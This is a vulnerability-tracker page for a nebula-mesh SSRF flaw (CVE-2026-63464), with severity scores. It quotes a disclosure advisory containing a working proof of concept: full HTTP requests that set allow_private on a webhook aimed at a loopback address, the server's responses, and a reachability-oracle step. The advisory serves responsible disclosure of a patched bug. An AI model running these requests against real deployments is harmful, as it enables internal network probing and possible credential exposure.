CVE-2026-63464

highpriority · track · 0OT risk · elevatedEPSS 0.005 · 40 %ileUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.46% (40th) EPSS
CVSS 7.7 · high
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.7
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.1 · impact 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-7rx3-5wx3-5v76Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`2026-07-14ghsa · osvUS

    ### Summary Non-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. ### Details `internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check — only ownership is enforced (`canAccessWebhookSub`), and that's not even called on create. `internal/webhook/webhook.go:294-296`: ```go client := d.guarded if tgt.AllowPrivate { client = d.unguarded } ``` `d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces. Every other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc). ### PoC Verified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) — the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on. **Step 1 — create-side bypass, as the non-admin `lowpriv` operator:** ``` POST /api/v1/webhook-subscriptions HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c Content-Type: application/json {"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]} ``` Actual response: ``` HTTP/1.1 201 Created {"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"} ``` `201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: "user"`). No `403 Forbidden` — which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key. **Control — same non-admin key, same target, `allow_private` omitted (defaults false):** ``` POST /api/v1/webhook-subscriptions HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c Content-Type: application/json {"url":"http://127.0.0.1:9999/internal-admin","allow_private":false} ``` ``` HTTP/1.1 400 Bad Request {"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"} ``` Confirms the guard is real and active for this exact target — `allow_private:true` in Step 1 is what disabled it. **Step 2 — delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns: ``` POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` ``` POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` Both returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself: ``` RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}} RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}} ``` Same result holds for `host.enrolled` — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path. **Step 3 — reachability oracle:** ``` GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` ``` HTTP/1.1 200 OK {"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...} ``` `last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body. ### Impact A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

  • GO-2026-5985Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private` in github.com/forgekeep/nebula-mesh2026-07-17vendor · osvUS

    Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private` in github.com/forgekeep/nebula-mesh

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-09-04modified 2026-09-08
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan